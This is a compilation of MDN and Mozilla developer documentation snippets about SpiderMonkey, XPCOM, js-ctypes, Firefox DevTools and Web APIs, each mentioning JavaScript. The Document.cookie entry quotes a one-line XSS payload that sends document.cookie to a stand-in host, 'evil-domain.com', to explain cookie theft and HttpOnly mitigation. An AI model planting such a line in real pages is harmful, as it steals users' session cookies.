...you can use js_newstringcopyn to copy binary data or to copy only a certain portion of a c string into a javascript string.
JS_PSGS
name type description name const char * the javascript name for the property.
... gettername const char * the function's name in self-hosted javascript code for getter function.
... settername const char * the function's name in self-hosted javascript code for setter function.
JS_SetGCCallback
the jsgc_begin callback can occur very early when something triggers garbage collection—before the javascript engine has even determined whether gc should actually be done at the moment.
... some quirky behavior follows from this: the javascript engine can call the gc callback reentrantly on a single thread.
...but the javascript engine will then detect that gc is already happening and will not actually do a nested gc cycle in this case.
JS_SetVersion
configure a jscontext to use a specific version of the javascript language.
... version jsversion version of javascript to set context to.
... description js_setversion attempts to set the version of javascript to version for a specified executable script context, cx.
JS_SetVersionForCompartment
this article covers features introduced in spidermonkey 31 configure a jscompartment to use a specific version of the javascript language.
... version jsversion version of javascript to set compartment to.
... description js_setversionforcompartment attempts to set the version of javascript to version for a specified compartment, compartment.
JS_ValueToECMAInt32
convert a javascript value to an integer type as specified by the ecmascript standard.
... v jsval the javascript value to convert.
... description js_valuetoecmaint32, js_valuetoecmauint32, and js_valuetouint16 convert a javascript value to various integer types as specified in the ecmascript specification.
JS_ValueToObject
converts any javascript value to an object.
... description js_valuetoobject converts a specified javascript value, v, to an object.
...if v is a native javascript object, this calls the object's valueof method, if any.
jschar
jschar is the type of javascript "characters", the 16-bit elements that make up strings.
...(see bug 1063962.) as required by the ecmascript standard, ecma 262-3 §4.3.16", javascript strings are arbitrary sequences of 16-bit values.
... to get the characters of a javascript string, use js_getstringchars.
Places Developer Guide
however, firefox developers can take advantage of several helper apis that are browser-specific: fuel - a collection of wrapper apis for easing access to a number of firefox utilities and services nsiplacestransactionsservice - a firefox service for modifying bookmarks in a transactional manner, providing facilities for undo/redo places utilities for javascript - accessors and helper functions for firefox and extensions creating bookmarks, folders and other items creating a bookmark // create an nsiuri for the url to be bookmarked.
...the apis are available via the placesutils api in the utils.js javascript module.
... while (sql_stmt.executestep()) { from_visit = sql_stmt.row.from_visit; } } finally { sql_stmt.reset(); } return from_visit; } note: the <cdata><![cdata[ xxx ]]></cdata>.tostring() notation is e4x and it makes possible to write multi-line strings in javascript.
FUEL
consider using the add-ons sdk instead fuel is a javascript library designed to help developers build extensions using terminology and interfaces that are familiar to them.
... fuel is about making it easier for extension developers to be productive, by minimizing some of the xpcom formality and adding some "modern" javascript ideas.
...xticonsole extieventitem extieventlistener extievents extiextension extiextensions extipreference extipreferencebranch extisessionstorage fueliapplication objects fueliannotations fueliapplication fuelibookmark fuelibookmarkfolder fuelibookmarkroots fuelibrowsertab fueliwindow xpcom although the fuel application object is preloaded into xul scripts, it is not preloaded into javascript xpcom code.
SMILE
this article covers features introduced in seamonkey 2 smile is a javascript library designed to help developers build extensions using terminology and interfaces that are familiar to them.
... smile is about making it easier for extension developers to be productive, by minimizing some of the xpcom formality and adding some "modern" javascript ideas.
... objects extiapplication objects exticonsole extieventitem extieventlistener extievents extiextension extiextensions extipreference extipreferencebranch extisessionstorage smileiapplication objects smileibookmarkroots smileiwindow smileibrowsertab smileiapplication xpcom although the extiapplication object is preloaded into xul scripts, it is not preloaded into javascript xpcom code.
XPCOM guide
MozillaTechXPCOMGuide
avoiding leaks in javascript xpcom componentsprogrammers writing and reviewing javascript code in mozilla should understand how code using xpcom in javascript can leak so that they can avoid leaks.
... this document attempts to help them do so, first by explaining the underlying concepts, and second by describing a number of common javascript patterns that cause leaks.creating xpcom componentsthis guide is about gecko, and about creating xpcom components for gecko-based applications.how to build an xpcom component in javascriptif you are looking for add-on sdk solution for xpcom javascript components then check out platform/xpcom module first.inheriting from implementation classesgiven that idl interfaces map to abstract classes in c++, a common problem when dealing with idl is when you have an idl inheritance hierarchy, and a corresponding c++ implementation hierarchy, you run into multiple inheritance.
...the problem would not exist with java's interfaces).making cross-thread calls using runnablesin the mozilla platform, most activities such as layout, dom operations, content javascript, and chrome javascript run on the main thread.
Components.Exception
summary components.exception is a javascript constructor to create nsixpcexception objects.
... these exception objects may be thrown when implementing xpcom interfaces in javascript, and they can provide better diagnostics in the error console if not caught than simply throwing an nsresult's value will.
...in other developer-facing locations, defaulting to 'exception' result the nsresult value of the exception, which defaults to components.results.ns_error_failure stack an xpcom stack to be set on the exception (defaulting to the current stack chain) data any additional data you might want to store, defaulting to null example throw components.exception("i am throwing an exception from a javascript xpcom component."); ...
Components.utils.schedulePreciseGC
the garbage collection cycle will occur sometime in the future, when no javascript code is executing.
... this is useful particularly when testing for memory leaks, because normal garbage collection is conservative when javascript code is running to ensure that in-use memory isn't inadvertently collected.
...is executed in once the scheduled garbage collection has been completed: components.utils.scheduleprecisegc( function() { // this code is executed when the garbage collection has completed } ); since the garbage collection doesn't occur until some time in the future (unlike, for example, components.utils.forcegc(), which causes garbage collection immediately but isn't able to collect all javascript-related memory), the callback lets you know when that's been finished.
mozIStorageConnection
in javascript, managing transactions can be difficult when you are using the same connection on different threads, or are using a combination of asynchronous and synchronous statement execution.
...javascript callers should use named parameters.
...javascript callers should use named parameters.
nsIScriptError2
js/src/xpconnect/idl/nsiscripterror.idlscriptable represents javascript errors and warnings for use by the console service; augments nsiscripterror by adding a way to initialize the error with the window id of the outer window with which the error is associated.
...this will be a hyperlink in the javascript console, so you should use a real url.
...you may pass null if you are lazy; that will prevent showing the source line in javascript console.
nsIScriptableInputStream
this is the case for the javascript bindings.
... remarks this interface provides javascript with a way to read ascii text from a nsiinputstream.
... note: starting in gecko 2.0, you can use the netutils.jsm javascript code module and its readinputstreamtostring() method to read arbitrary binary data into a javascript string.
nsISupports proxies
it is no longer needed because javascript code can no longer run on arbitrary threads, and compiled code can use compiled runnable to achieve the same effect in a much simpler manner.
... the main reason for nsisupports proxies is that javascript and ui are on a single thread.
...they from the majority of javascript code, which is small and can be quickly run.
nsIWindowsRegKey
javascript callers should take care with the result of this method since it will be byte-expanded to form a js string.
...javascript callers should take care with the value passed to this method since it will be truncated from a js string (unicode) to a iso-latin-1 string.
...so, javascript callers should only pass character values in the range \u0000 to \u00ff, or else data loss will occur.
nsIXPConnect
void setreportalljsexceptions( in boolean reportalljsexceptions ); parameters reportalljsexceptions missing description exceptions thrown missing exception missing description setsafejscontextforcurrentthread() set fallback jscontext to use when xpconnect can't find an appropriate context to use to execute javascript.
...as long as this holder is held the jsobject will be protected from collection by javascript's garbage collector.
...3) the xpcom object implements nsiscriptobjectowner; i.e., is an idlc style dom object for which we can call getscriptobject to get the jsobject it uses to represent itself into javascript.
wrappedJSObject
when available, it lets you access the javascript object hidden by the wrapper.
...see how to build an xpcom component in javascript for details on creating one.
...nt;1"].getservice(); if we try to call the hello() method we defined in our component implementation, we get: > comp.hello(); typeerror on line 1: comp.hello is not a function this happens because, as we mentioned earlier, comp is not the helloworld js object itself, but an xpconnect wrapper around it: > dump(comp); [xpconnect wrapped nsisupports] the idea of these wrappers is to make the javascript-implemented xpcom components look just like any other xpcom component to the user.
Mozilla technologies
the module is structured as a drop-in component and exposes its xml-as-data features both to javascript and c++/xpcom users.
...it has multiple language bindings, allowing xpcom components to be used and implemented in javascript, java, and python in addition to c++.xpidlxpidl is an interface description language used to specify xpcom interface classes.xray visiongecko runs javascript from a variety of different sources and at a variety of different privilege levels.xslt 2.0although xslt 2.0 is not natively supported in firefox, it is possible via saxon-b (java) or, more recently, saxon-ce (javascript) to perform xslt 2.0.xtfthe extensible tag framework (xtf) allows adding support for new namespaces usin...
...g xpcom components to mozilla (written in javascript or c++).
Main Windows
the rest is loaded from overlays: mailwindowoverlay.xul this is the red sections shown in the interface above (where?), including the toolbars, notification bars, and the status bar, but also includes most of the commands, keysets, and context menus of thunderbird, along with a whole lot of javascript.
... mailoverlay.xul a really small overlay that only adds a few “new message” and “new card” commands to the menus, along with their associated javascript.
... mailwindowoverlay.xul this is the red sections shown in the interface above, including the toolbars, notification bars and the status bar.it also includes most of the commands, keysets, and context menus of thunderbird, along with a whole lot of javascript.
Building a Thunderbird extension 1: introduction
it shares many of the technologies used by mozilla firefox, including javascript, the gecko layout engine, the xul xml user interface language and the xpcom cross-platform component object model.
...the tutorial has the following pages: introduction (this page) the extension filesystem (setting up your local system) install manifest (the install.rdf file that contains meta-information about the extension) chrome manifest (list of packages and overlays) xul (the xml user interface language that is used to modify the thunderbird user interface) adding javascript (explains how to add some simple javascript to your thunderbird extension) installing locally (enabling the extension on your local thunderbird instance) packaging (making a distribution package that contains the extension) distributing (from your own site or from http://addons.mozilla.org/) this tutorial is compatible with thunderbird versions 2,3 and 5.
... there are also a number of extension and applications that are useful for testing and debugging thunderbird extensions, such as javascript consoles and xpcom inspectors.
customDBHeaders Preference
user_pref( "mailnews.customdbheaders", "x-superfluous x-other"); adding a column the reply-to column tutorial does a good job of explaining how to add a column with an overlay, so i'll just show you my overlay file: <?xml version="1.0" ?> <overlay id="colsuperfluousoverlay" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <script type='application/javascript' src='chrome://superfluous/content/superfluous.js'/> <tree id="threadtree"> <treecols id="threadcols"> <splitter class="tree-splitter" /> <treecol id="colsuperfluous" persist="hidden ordinal width" currentview="unthreaded" flex="1" label="superfluous" tooltiptext="click to sort by superfluous" /> </treecols> </tree> </overlay> you should ...
...insure that whatever id you use for the treecol you're adding matches the reference from your javascript code (i.e.
... javascript code once again, other tutorials have demonstrated the general javascript code used to populated columns with data from a message header, so i'm just including my file for reference.
Using Mozilla code in other projects
various components of the platform, such as the spidermonkey javascript engine, can be used in your own projects without the rest of the platform.
... there are also modules that aren't used in firefox but are available for use by other applications; an example of this is rhino, the javascript engine written in java.
... using mozilla components spidermonkey spidermonkey is the javascript runtime engine used by mozilla projects.
Zombie compartments
compartments firefox’s javascript memory is segregated into zones and compartments.
... roughly speaking, all memory used by javascript code that is from a particular origin (i.e.
... firefox’s own javascript code also gets one or more compartments and so do add-on scripts.
Examples
js-macosx an extension that demonstrates javascript-cocoa bridge for mac os x.
... lightweight bridge for calling cocoa frameworks from javascript, js-macosx transparently handles definition of cocoa api, both c and objective-c, and provides automatic declarations for framework functions, structures, constants and enumerations, as well as allows creating and subclassing cocoa classes.
... the js-macosx bridge has dependency on bridgesupport metadata: whenever a cocoa class, function, struct or const is encountered in the javascript code, js-macosx will replace it with the corresponding js-ctypes declaration based on the bridgesupport file from the framework that object belongs to.
Using js-ctypes
this is as simple as including the following line of code in the desired javascript scope: components.utils.import("resource://gre/modules/ctypes.jsm") loading a native library once you've imported the code module, you can call the ctypes.open() method to load each native library you wish to use.
... ctypes.char.ptr, /* primary text */ ctypes.char.ptr, /* secondary text */ ctypes.uint32_t, /* alert param */ ctypes.int16_t); /* item hit */ var hit = 0; var msgerr = makestr("carbon says..."); var msgexp = makestr("we just called the standardalert carbon function from javascript!"); var err = stdalert(1, msgerr, msgexp, 0, hit); carbon.close(); the makestr() function is a utility routine that takes as input a standard javascript string and returns a carbon-style "pascal" string, which is a length byte followed by the characters of the string itself.
...numchars ); // helper functions function makecfstr(jsstr) { // js str is just a string // returns a cfstr that must be released with cfrelease when done return cfstringcreatewithcharacters(null, jsstr, jsstr.length); } // main var mycfstrs = { head: makecfstr('core foundation says...'), body: makecfstr('we just called the equivalent of the "standardalert carbon function" for 64bit osx from javascript!') }; var rez = cfusernotificationdisplaynotice(0, kcfusernotificationcautionalertlevel, null, null, null, mycfstrs.head, mycfstrs.body, null); console.info('rez:', rez, rez.tostring(), uneval(rez)); // cfusernotificationdisplaynotice does not block till user clicks dialog, it will return immediately if (rez.tostring() == '0') { console.log('notification was succesfully shown!!'); } else { ...
ArrayType
exceptions thrown typeerror type is not a ctype, or type.size is undefined.if the length is specifed but if it is not a valid one,then it is also thrown rangeerror the size of the resulting array can't be represented as both a size_t and as a javascript number.
... value object the javascript equivalent of the cdata object's value.
...if this value isn't a valid javascript number that's also a valid index into the array, a typeerror exception is thrown.
CType
big integer types the int64 and uint64 types provide access to 64-bit integer values, which javascript doesn't currently support.
... tosource() returns a javascript expression that evaluates to a ctype describing the same c type as this object.
... return value a javascript expression that evaluates to a ctype describing the same c type as this object.
Int64
because javascript doesn't currently include standard support for 64-bit integer values, js-ctypes offers the int64 and uint64 objects to let you work with c functions and data that need (or may need) values represented using a 64-bit data type.
...you can therefore use a string to represent a 64-bit value that is too large to represent as a 32-bit javascript number.
... exceptions thrown typeerror one or both of the specified numbers is not a javascript number with an integral value.
StructType
rangeerror the size of the structure, in bytes, cannot be represented both as a size_t and as a javascript number.
... value object the javascript equivalent of the cdata object's value.
... exceptions thrown typeerror name is not a javascript string, or doesn't name a member field of the structure.
UInt64
as javascript doesn't currently include standard support for 64-bit integer values, js-ctypes offers the int64 and uint64 objects to let you work with c functions and data that need (or may need) to use data represented using a 64-bit data type.
...you can therefore use a string to represent a 64-bit value that is too large to represent as a 32-bit javascript number.
... exceptions thrown typeerror one or both of the specified numbers is not a javascript number with an integral value.
Flash Activation: Browser Comparison - Plugins
this can be done by calling a javascript function when the plugin is activated: function plugincreated() { // we don't need to see the plugin, so hide it by resizing var plugin = document.getelementbyid('myplugin'); plugin.height = 0; plugin.width = 0; plugin.callpluginmethod(); } the html, by default, specifies the flash object to be a size that makes it visible, like this: <!-- give the plugin an initial size so it is vis...
...instead, the plugin object should call into a javascript function upon creation.
... first, set your up your html with a callback that calls the javascript function plugincreated(), like this: <object type="application/x-my-plugin" data="somedata.mytype" id="myplugin"> <param name="callback" value="plugincreated()"> </object> the plugincreated() function is then responsible for the setup of your script and any calls back into the plugin that you need to make: function plugincreated() { document.getelementbyid('myplugin').callpluginmethod(); } ...
Introduction to DOM Inspector - Firefox Developer Tools
the javascript object viewer gives a hierarchical tree of the object pane's subject.
... the javascript object viewer also allows javascript to be evaluated by selecting the appropriate menuitem in the context menu.
...used in concert with mozilla tools like venkman, the javascript debugger, the dom inspector can give you a complete view of any web page or dom-based application interface.
Use a source map - Firefox Developer Tools
the javascript sources executed by the browser are often transformed in some way from the original sources created by a developer.
... javascript running in a page is often machine-generated, as when compiled from a language like coffeescript or typescript.
...this page loads a source called "main.js" that was originally written in coffeescript and compiled to javascript.
Debugger.Environment - Firefox Developer Tools
when true, getvariable returns an ordinary javascript object whose optimizedout property is true on all bindings, and setvariable throws a referenceerror.
... javascript engines often omit variables from environments, to save space and reduce execution time.
... if the given variable should be in scope, but getvariable is unable to produce its value, it returns an ordinary javascript object (not a debugger.object instance) whose optimizedout property is true.
Debugger.Frame - Firefox Developer Tools
even though the debuggee and debugger share the same javascript stack, frames pushed for spidermonkey’s calls to handler methods to report events in the debuggee are never considered visible frames.) invocation functions and “debugger” frames aninvocation function is any function in this interface that allows the debugger to invoke code in the debuggee: debugger.object.prototype.call, debugger.frame.prototype.eval, and so on.
... "global": a frame running global code (javascript that is neither of the above).
... implementation a string describing which tier of the javascript engine this frame is executing in: "interpreter": a frame running in the interpreter.
Debugger.Script - Firefox Developer Tools
a dom event handler, whether embedded in html or attached to the element by other javascript code.
... code appearing in a javascript: url.
...for example: function f() {} // display name: f (the given name) var g = function () {}; // display name: g o.p = function () {}; // display name: o.p var q = { r: function () {} // display name: q.r }; note that the display name may not be a proper javascript identifier, or even a proper expression: we attempt to find helpful names even when the function is not immediately assigned as the value of some variable or property.
Deprecated tools - Firefox Developer Tools
description scratchpad provided an environment for experimenting with javascript code.
... alternatives in firefox 71+, you can write multi-line javascript code in the web console editor mode, making it similar to the scratchpad.
... starting firefox 72, you can import a javascript file content in the console input with ctrl + o (cmd + o on macos), as well as saving the console input content to a file using ctrl + s (cmd + s on macos).
Dominators - Firefox Developer Tools
this article provides an introduction to the concepts of reachability, shallow versus retained size, and dominators, as they apply in garbage-collected languages like javascript.
... with a garbage-collected language, like javascript, the programmer doesn't generally have to worry about deallocating memory.
... reachability in modern javascript implementations, the runtime decides whether an object is no longer needed based on reachability.
Allocations - Firefox Developer Tools
with a garbage-collected language, like javascript, the runtime periodically needs to walk the heap looking for objects that are no longer reachable, and then freeing the memory they occupy.
... while gc events like this are executing, the javascript engine must be paused, so your program is suspended and will be completely unresponsive.
... to reduce the impact on responsiveness, spidermonkey (the javascript engine in firefox) can perform gc in small increments, letting the program run in between.
UI Tour - Firefox Developer Tools
waterfall the waterfall presents a view of the work the browser is doing during the recording: executing javascript, updating the css, updating the page layout, and performing repaints.
... call tree the call tree is a sampling profiler for javascript running in the page.
... it periodically samples the state of the javascript engine, and records the stack for the code executing at the time the sample was taken.
Shader Editor - Firefox Developer Tools
webgl is a javascript api for rendering interactive 3d graphics and 2d graphics in the browser without using plugins.
...in webgl they can be included in a page in several ways: as text hardcoded in javascript strings, as separate files included using <script> tags, or retrieved from the server as plain text.
... javascript code running in the page then sends them for compilation using the webgl apis, and they're executed on the device's gpu when needed.
Tips - Firefox Developer Tools
cd switches the javascript evaluation context to a different iframe in the page.
... debugger skip javascript libraries in debugging sessions via the black box icon ().
... hover the "js" icon within the "cause" column to see the javascript stack trace, which caused the request.
Web Console - Firefox Developer Tools
the web console: logs information associated with a web page: network requests, javascript, css, security errors and warnings as well as error, warning and informational messages explicitly logged by javascript code running in the page context enables you to interact with a web page by executing javascript expressions in the context of the page user interface of the web console parts of the web console ui.
... the javascript input interpreter how to interact with a document using the console.
... helper commands commands you can use that are not part of javascript.
Blob - Web APIs
WebAPIBlob
blobs can represent data that isn't necessarily in a javascript-native format.
...for example, to construct a blob from a json string: const obj = {hello: 'world'}; const blob = new blob([json.stringify(obj, null, 2)], {type : 'application/json'}); creating a url representing the contents of a typed array the following code creates a javascript typed array and creates a new blob containing the typed array's data.
... click the link to see the decoded object url.</p> javascript the main piece of this code for example purposes is the typedarraytourl() function, which creates a blob from the given typed array and returns an object url for it.
Using the CSS properties and values API - Web APIs
there are two ways to register a property, in javascript or in css.
... note: the javascript option has working implementations.
...the first is that, once a property is registered, there's no way to update it, and trying to re-register it with javascript will throw an error indicating it's already been defined.
CanvasRenderingContext2D.stroke() - Web APIs
html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); ctx.rect(10, 10, 150, 100); ctx.stroke(); result re-stroking paths typically, you'll want to call beginpath() for each new thing you want to stroke.
... html <canvas id="canvas"></canvas> javascript this code strokes the first path three times, the second path two times, and the third path only once.
... html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); ctx.linewidth = 16; ctx.strokestyle = 'red'; // stroke on top of fill ctx.beginpath(); ctx.rect(25, 25, 100, 100); ctx.fill(); ctx.stroke(); // fill on top of stroke ctx.beginpath(); ctx.rect(175, 25, 100, 100); ctx.stroke(); ctx.fill(); result specifications specification status comment...
Basic animations - Web APIs
« previousnext » since we're using javascript to control <canvas> elements, it's also very easy to make (interactive) animations.
...note that the width and height specified here must match the values of the canvasxzsize and canvasysize variables in the javascript code.
...w; height: 100vh; top: 0; left: 0; display: flex; flex-wrap: wrap; justify-content: space-around; opacity: 1; user-select: none } .keypress>div:hover { opacity: 1 } .touch { background: #8bc34a } .off { background: #f44336 } .hide { opacity: 0 } </style> </html> javascript function tmz() { var e = new date(t), i = new date, n = math.abs(i.getminutes() - e.getminutes()), o = math.abs(i.getseconds() - e.getseconds()); return n + " : " + o } function coll(t, e) { return t.x < e.x + e.w && t.x + t.w > e.x && t.y < e.y + e.h && t.h + t.y > e.y } function snake() { this.w = 15, this.h ...
Canvas tutorial - Web APIs
<canvas> is an html element which can be used to draw graphics via scripting (usually javascript).
... before you start using the <canvas> element is not very difficult, but you do need a basic understanding of html and javascript.
...in order to draw graphics on the canvas we use a javascript context object, which creates graphics on the fly.
console.debug() - Web APIs
WebAPIConsoledebug
objn a list of javascript objects to output.
... msg a javascript string containing zero or more substitution strings, which are replaced with subst1 through substn in consecutive order.
...substn javascript objects with which to replace substitution strings within msg.
Console.dir() - Web APIs
WebAPIConsoledir
the console method dir() displays an interactive list of the properties of the specified javascript object.
... in other words, console.dir() is the way to see all the properties of a specified javascript object in console by which the developer can easily get the properties of the object.
... syntax console.dir(object); parameters object a javascript object whose properties should be output.
Console.error() - Web APIs
WebAPIConsoleerror
objn a list of javascript objects to output.
... msg a javascript string containing zero or more substitution strings.
...substn javascript objects with which to replace substitution strings within msg.
Console.info() - Web APIs
WebAPIConsoleinfo
objn a list of javascript objects to output.
... msg a javascript string containing zero or more substitution strings.
...substn javascript objects with which to replace substitution strings within msg.
Console.warn() - Web APIs
WebAPIConsolewarn
objn a list of javascript objects to output.
... msg a javascript string containing zero or more substitution strings.
...substn javascript objects with which to replace substitution strings within msg.
console - Web APIs
WebAPIConsole
console.dir() displays an interactive listing of the properties of a specified javascript object.
... console.dirxml() displays an xml/html element representation of the specified object if possible or the javascript object view if it is not possible.
...the object is: ({str:"some text", id:5}) using string substitutions when passing a string to one of the console object's methods that accepts a string (such as log()), you may use these substitution strings: %o or %o outputs a javascript object.
Document.cookie - Web APIs
WebAPIDocumentcookie
note: the domain must match the domain of the javascript origin.
... note: as you can see from the code above, document.cookie is an accessor property with native setter and getter functions, and consequently is not a data property with a value: what you write is not the same as what you read, everything is always mediated by the javascript interpreter.
...common ways to steal cookies include using social engineering or by exploiting an xss vulnerability in the application - (new image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie; the httponly cookie attribute can help to mitigate this attack by preventing access to cookie value through javascript.
Document.querySelectorAll() - Web APIs
since javascript also uses backslash escaping, special care must be taken when writing string literals using these characters.
...you can use any common looping statement, such as: var highlighteditems = userlist.queryselectorall(".highlighted"); highlighteditems.foreach(function(useritem) { deleteuser(useritem); }); user notes queryselectorall() behaves differently than most common javascript dom libraries, which might lead to unexpected results.
... <div class="outer"> <div class="select"> <div class="inner"> </div> </div> </div> javascript var select = document.queryselector('.select'); var inner = select.queryselectorall('.outer .inner'); inner.length; // 1, not 0!
Element.querySelectorAll() - Web APIs
since javascript also uses backspace escaping, special care must be taken when writing string literals using these characters.
... user notes queryselectorall() behaves differently than most common javascript dom libraries, which might lead to unexpected results.
... <div class="outer"> <div class="select"> <div class="inner"> </div> </div> </div> javascript var select = document.queryselector('.select'); var inner = select.queryselectorall('.outer .inner'); inner.length; // 1, not 0!
Using Fetch - Web APIs
the fetch api provides a javascript interface for accessing and manipulating parts of the http pipeline, such as requests and responses.
...oded', }, redirect: 'follow', // manual, *follow, error referrerpolicy: 'no-referrer', // no-referrer, *no-referrer-when-downgrade, origin, origin-when-cross-origin, same-origin, strict-origin, strict-origin-when-cross-origin, unsafe-url body: json.stringify(data) // body data type must match "content-type" header }); return response.json(); // parses json response into native javascript objects } postdata('https://example.com/answer', { answer: 42 }) .then(data => { console.log(data); // json data parsed by `data.json()` call }); note that mode: "no-cors" only allows a limited set of headers in the request: accept accept-language content-language content-type with a value of application/x-www-form-urlencoded, multipart/form-data, or text/plain sending a reques...
... they can also be created programmatically via javascript, but this is only really useful in serviceworkers, when you are providing a custom response to a received request using a respondwith() method: const mybody = new blob(); addeventlistener('fetch', function(event) { // serviceworker intercepting a fetch event.respondwith( new response(mybody, { headers: { 'content-type': 'text/plain' } }) ); }); the response() constructor t...
Using FormData Objects - Web APIs
ou can build a formdata object yourself, instantiating it then appending fields to it by calling its append() method, like this: var formdata = new formdata(); formdata.append("username", "groucho"); formdata.append("accountnum", 123456); // number 123456 is immediately converted to a string "123456" // html file input, chosen by user formdata.append("userfile", fileinputelement.files[0]); // javascript file-like object var content = '<a id="a"><b id="b">hey!</b></a>'; // the body of the new file...
...blobs represent data that isn't necessarily in a javascript-native format.
... typically this is used as shown in our simple formdata event demo — in the javascript we reference a form: const formelem = document.queryselector('form'); in our submit event handler we use preventdefault to stop the default form submission, then invoke a formdata constructor to trigger the formdata event: formelem.addeventlistener('submit', (e) => { // on form submission, prevent default e.preventdefault(); // construct a formdata object, which fires the formdata even...
HTMLCollection - Web APIs
this is mostly useful for non-javascript dom implementations.
...this is mostly useful for non-javascript dom implementations.
... usage in javascript htmlcollection also exposes its members directly as properties by both name and index.
History.replaceState() - Web APIs
syntax history.replacestate(stateobj, title, [url]) parameters stateobj the state object is a javascript object which is associated with the history entry passed to the replacestate method.
... examples suppose https://www.mozilla.org/foo.html executes the following javascript: const stateobj = { foo: 'bar' }; history.pushstate(stateobj, '', 'bar.html'); the explanation of these two lines above can be found in the example of pushstate() method section of the working with the history api article.
... then suppose https://www.mozilla.org/bar.html executes the following javascript: history.replacestate(stateobj, '', 'bar2.html'); this will cause the url bar to display https://www.mozilla.org/bar2.html, but won't cause the browser to load bar2.html or even check that bar2.html exists.
Basic concepts - Web APIs
indexeddb, on the other hand, requires you to create an object store for a type of data and simply persist javascript objects to that store.
...a valid key path can include one of the following: an empty string, a javascript identifier, or multiple javascript identifiers separated by periods or an array containing any of those.
... value each record has a value, which could include anything that can be expressed in javascript, including boolean, number, string, date, object, array, regexp, undefined, and null.
Timing element visibility with the Intersection Observer API - Web APIs
tying it together with javascript that brings us to the javascript code which makes everything work.
...the values are strings, but we can convert those to numbers easily enough—in fact, javascript generally does it automatically, although we'll have one instance where we have to do it ourselves.
...note the use of parsefloat() here; because these values are strings, javascript tries to do a string concatenation instead of addition without it.
MouseEvent.pageX - Web APIs
WebAPIMouseEventpageX
even though numeric types both are represented by number in javascript, they may be handled differently internally in the browser's code, resulting in potential behavior differences.
... javascript var box = document.queryselector(".box"); var pagex = document.getelementbyid("x"); var pagey = document.getelementbyid("y"); function updatedisplay(event) { pagex.innertext = event.pagex; pagey.innertext = event.pagey; } box.addeventlistener("mousemove", updatedisplay, false); box.addeventlistener("mouseenter", updatedisplay, false); box.addeventlistener("mouseleave", updatedisplay, false...
...); the javascript code uses addeventlistener() to register the function updatedisplay() as the event handler for the mousemove, mouseenter, and mouseleave events.
ParentNode.querySelectorAll() - Web APIs
since javascript also uses backslash escaping, special care must be taken when writing string literals using these characters.
...ument.queryselectorall("iframe[data-src]"); here, an attribute selector is used to return a list of the list items contained within a list whose id is userlist which have a data-active attribute whose value is 1: var container = document.queryselector("#userlist"); var matches = container.queryselectorall("li[data-active=1]"); user notes queryselectorall() behaves differently than most common javascript dom libraries, which might lead to unexpected results.
... <div class="outer"> <div class="select"> <div class="inner"> </div> </div> </div> javascript var select = document.queryselector('.select'); var inner = select.queryselectorall('.outer .inner'); inner.length; // 1, not 0!
Streams API - Web APIs
the streams api allows javascript to programmatically access streams of data received over the network and process them as desired by the developer.
... but this has never been available to javascript before.
... with streams being available to javascript, this all changes — you can now start processing raw data with javascript bit by bit as soon as it is available on the client-side, without needing to generate a buffer, string, or blob.
Matrix math for the web - Web APIs
in javascript, it is easy to represent a matrix as an array.
... the identity matrix looks like this in javascript: let identitymatrix = [ 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1 ]; what does multiplying by the identity matrix look like?
...matrices are always stored in one-dimensional lists in javascript.
Adding 2D content to a WebGL context - Web APIs
uniforms are similar to javascript global variables.
...we do this by creating a float32array from the // javascript array, then use it to fill the current buffer.
... once that's done, we create a javascript array containing the position for each vertex of the square plane.
WebGL tutorial - Web APIs
webgl programs consist of control code written in javascript and special effects code (shader code) that is executed on a computer's graphics processing unit (gpu).
... before you start using the <canvas> element is not very difficult, but you do need a basic understanding of html and javascript.
...in order to draw graphics on the canvas we use a javascript context object, which creates graphics on the fly.
WebGL model view projection - Web APIs
in javascript the value returned would be as follows.
...this matrix is sent directly to the shader, having been multiplied in javascript beforehand.
... gl_position = model * vec4(position, 1.0); note: in javascript, matrix multiplication requires a custom function, while in the shader it is built into the language with the simple * operator.
Web Animations API Concepts - Web APIs
the web animations api (waapi) provides javascript developers access to the browser’s animation engine and describes how animations should be implemented across browsers.
... the web animations api fills the gap between declarative css animations and transitions, and dynamic javascript animations.
...(see animating like you just don’t care with element.animate.) in some instances, it may negate the need for a fully fledged library entirely in the same way vanilla javascript can be used without jquery for many purposes.
Functions and classes available to Web Workers - Web APIs
in addition to the standard javascript set of functions (such as string, array, object, json, etc), there are a variety of functions available from the dom to workers.
... (yes) (yes) (yes) (yes) promise javascript objects that allow you to write asynchronous functions.
... 21 (21) and 26 (26) for url() constructor no support no support no support webgl with offscreencanvas webgl (web graphics library) is a javascript api for rendering interactive 3d and 2d graphics within any compatible web browser without the use of plug-ins.
Window.openDialog() - Web APIs
WebAPIWindowopenDialog
the optional parameters, if present, are bundled up in a javascript array object and added to the newly created window as a property named window.arguments.
... they may be referenced in the javascript of the window at any time, including during the execution of a load handler.
...the variables specified in the javascript code which gets loaded from the dialog), it is not possible to pass return values back past the close operation using globals (or any other constructs).
window.postMessage() - Web APIs
the dispatched event otherwindow can listen for dispatched messages by executing the following javascript: window.addeventlistener("message", receivemessage, false); function receivemessage(event) { if (event.origin !== "http://example.org:8080") return; // ...
... the value of the origin property when the sending window contains a javascript: or data: url is the origin of the script that loaded the url.
... using window.postmessage in extensions window.postmessage is available to javascript running in chrome code (e.g., in extensions and privileged code), but the source property of the dispatched event is always null as a security restriction.
WindowOrWorkerGlobalScope.btoa() - Web APIs
example const encodeddata = window.btoa('hello, world'); // encode a string const decodeddata = window.atob(encodeddata); // decode the string unicode strings the btoa() function takes a javascript string as a parameter.
... in javascript strings are represented using the utf-16 character encoding: in this encoding, strings are represented as a sequence of 16-bit (2 byte) units.
...in terms of javascript strings, this means strings in which each character occupies only one byte.
XMLHttpRequest.response - Web APIs
the xmlhttprequest response property returns the response's body content as an arraybuffer, blob, document, javascript object, or domstring, depending on the value of the request's responsetype property.
... arraybuffer the response is a javascript arraybuffer containing binary data.
... json the response is a javascript object created by parsing the contents of received data as json.
ARIA: figure role - Accessibility
required javascript features no role specific javascript requirements.
... if you don't have control over the html semantics, you can improve the accessibility of html by adding these roles and properties with javascript.
